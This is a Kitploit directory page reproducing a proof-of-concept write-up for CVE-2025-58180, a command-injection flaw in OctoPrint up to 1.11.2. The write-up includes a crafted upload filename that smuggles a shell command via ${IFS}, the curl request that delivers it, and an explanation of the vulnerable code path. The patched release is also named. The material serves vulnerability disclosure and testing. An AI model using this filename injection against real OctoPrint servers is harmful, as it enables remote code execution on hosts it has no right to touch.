Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Submit
ToolsExploitsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

FeedsContactPrivacy© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2025-58180 — In OctoPrint version <=1.11.2, an attacker with file upload access (e.g., valid API key or session) can craft a malicious filename that bypasses sanitization and is later executed by OctoPrint’s event system, leading to remote code execution (RCE) on the host | Kitploit
Tools/GitHubGitHub/prabhatverma47/cve-2025-58180
Payload GenerationVulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingCommand and Control
GitHubprabhatverma47/cve-2025-58180

CVE-2025-58180

In OctoPrint version <=1.11.2, an attacker with file upload access (e.g., valid API key or session) can craft a malicious filename that bypasses sanitization and is later executed by OctoPrint’s event system, leading to remote code execution (RCE) on the host

View Repository
221 year agoNot yet reviewed
Share

CVE-2025-58180 RCE in OctoPrint via Unsanitized Filename in File Upload

In OctoPrint version <=1.11.2, an attacker with file upload access (e.g., valid API key or session) can craft a malicious filename that bypasses sanitization and is later executed by OctoPrint’s event system, leading to remote code execution (RCE) on the host


PoC: Steps to Recreate Vulnerability

Step 1: Version Info

Downloaded latest stable release: OctoPrint 1.11.2

image

Step 2: Run OctoPrint

octoprint serve --port 5000 --debug
  • Open http://127.0.0.1:5000 in browser.
  • Go through the initial wizard → create user with default settings (disabled: connectivity, anonymous, plugin).
  • Grab the API key from Settings → API → save for later. image

Stop the OctoPrint service once above steps are done.


Step 3: Configure Event Subscription

Following OctoPrint events documentation:

Edit ~/.octoprint/config.yaml:

events:
  enabled: true
  subscriptions:
    - event: FileAdded
      type: system
      debug: true
      command: "{path}"
image

Step 4: Create Sample G-code

Create /tmp/gcode/ok.gcode:

; minimal gcode
G28
M105

Restart OctoPrint service.


Step 5: Proof of Concept RCE

  1. Export API key:
export API_KEY='<key previously gathered from webUI>'
  1. Verify file doesn’t exist:
ls -la /tmp/test123
  1. Craft malicious filename payload:
    INJECT_NAME='octo;touch${IFS}/tmp/test123;#.gcode'

Explanation: ${IFS} is the shell’s Internal Field Separator (usually a space). It bypasses sanitization when injected.

  1. Send curl request:
curl -sS -X POST -H "X-Api-Key: $API_KEY" \
  -F "file=@/tmp/gcode/ok.gcode;filename=\"${INJECT_NAME}\"" \
  "http://127.0.0.1:5000/api/files/local"
  1. Verify execution:
ls -la /tmp/test123
image

If /tmp/test123 exists, the injected command executed successfully → RCE confirmed.


Explanation of Flow

[User upload with crafted filename]
        │
        ▼
server/api/files.py → accepts raw filename (metacharacters survive sanitize_name)
        │
        ▼
events.py (EventManager.fire "FileAdded") → payload {path} includes raw chars
        │
        ▼
system command subscriber → subprocess.check_call(..., shell=True)
        │
        ▼
[Injected shell metacharacters execute as OS commands]

Summary

When a file is uploaded:

  1. OctoPrint accepts the filename (with limited sanitization).
  2. It triggers a FileAdded event.
  3. If system commands are subscribed to this event, the raw filename (including ;, ${IFS}, etc.) is passed into a shell.
  4. This allows injected commands inside the filename to execute on the host.

Result: Remote Code Execution (RCE) on the host system.

References

  • CVE Assigned:(CVE-2025-58180) GHSA-49mj-x8jp-qvfc
  • Patched version: 1.11.3

Download Tool

Most Popular

View all →

Discover the most used tools by our community.

  • 1

    OsintHunter

    letox4/osinthunter

    🎯 The ultimate OSINT toolkit: investigation graph, confidence scoring, alias families, map, timeline and reports. 49 modules, 400+ sites, no API keys required.

    1.0k
  • 2

    ghostlock-app

    yukonga/ghostlock-app

    GhostLock One-Tap Execution App (CVE-2026-43499)

    589
  • 3

    looking-glass

    anonghosty/looking-glass

    CSIRT platform that ingests Shadowserver reports into MongoDB and replays them as interactive maps, analysis, findings, advisories and executive dashboards.

    361
  • 4

    redforge

    cybersecurity91/redforge

    Browser-side red team toolkit with 102 offline tools for recon, payload generation, credential attacks, crypto, encoding and engagement reporting.

    339
  • 5

    ARTEX

    baarai/artex

    LLM multi-agent autonomous penetration testing platform with planner/worker agents, asset and exploration graphs, MITM traffic recording, and vulnerability retesting.

    324
  • 6

    CyberStrikeAI

    ed1s0nz/cyberstrikeai

    The system of action for AI-native cybersecurity—where intent becomes governed execution, evidence becomes operational memory, and every operation improves the next.

    322

Explore all tools

Browse our collection of tools

View all tools →